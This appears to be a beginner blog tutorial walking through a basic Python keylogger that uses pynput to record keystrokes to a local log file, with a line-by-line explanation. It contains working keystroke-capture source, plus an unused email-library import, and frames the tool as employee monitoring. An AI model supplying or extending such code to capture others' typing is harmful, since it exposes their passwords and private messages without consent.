Simple Introduction To A Keystroke Monitor In Python
A keystroke monitor tracks and records every keystroke entry made on a computer, in this article I’ll be explaining what a keystroke monitor is and how it works alongside with code for demonstration to get an idea of its usage. Keystroke monitors are known to be unethical and often times used with malicious intent but that doesn’t have to be true, companies can use a keystroke monitor to identify unauthorized or suspicious activity, prevent sensitive information being leaked, and track employee hours.
Basic Level Python Code
import smtplib
import pynput
from pynput.keyboard import Key, Listener
count=0
keys= []
def on_press(key):
global keys, count
keys.append(key)
count +=1
print("{0}pressed".format(key))
if count >= 10:
count=0
write_file(keys)
keys= []
def write_file(keys):
with open("log.txt","a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('/')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Important Lines
import pynput
from pynput.keyboard import Key, Listener
pynput is a library that allows you to control and monitor input devices which in this case would be the keyboard. Using “from pynput.keyboard” means that we want to import elements from the keyboard module within the pynput package, “import Key, Listener” means we’re importing two things one being the key which represents the keys on the keyboard and the other being listener which allows us to listen to the keyboard events.
def on_press(key):
global keys, count
keys.append(key)
count +=1
print("{0}pressed".format(key))
if count >= 10:
count=0
write_file(keys)
keys= []
on_press is called when a key is pressed, it appends the pressed key to the keys list and prints the key. If count reaches 10 it calls the write_file function to log the keys into a text file.
def write_file(keys):
with open("log.txt","a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('/')
elif k.find("Key") == -1:
f.write(k)
write_file function writes all the pressed keys into a file called log.txt and replaces any space in the text with a forward slash.
def on_release(key):
if key == Key.esc:
return False
on_release is called when a key is released if the released key is the “Esc” key it will stop the keystroke monitor.
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
This is what sets up the keystroke monitor using pynput, it creates a listener object with the specified on_press and on_release callback functions and then starts the listener.
Example Of What It Looks Like
When typing this is what should appear on the console.
This is how the txt file should look like once “Esc” is pressed. Feel free to check out more modifications I am currently adding to the keystroke monitor.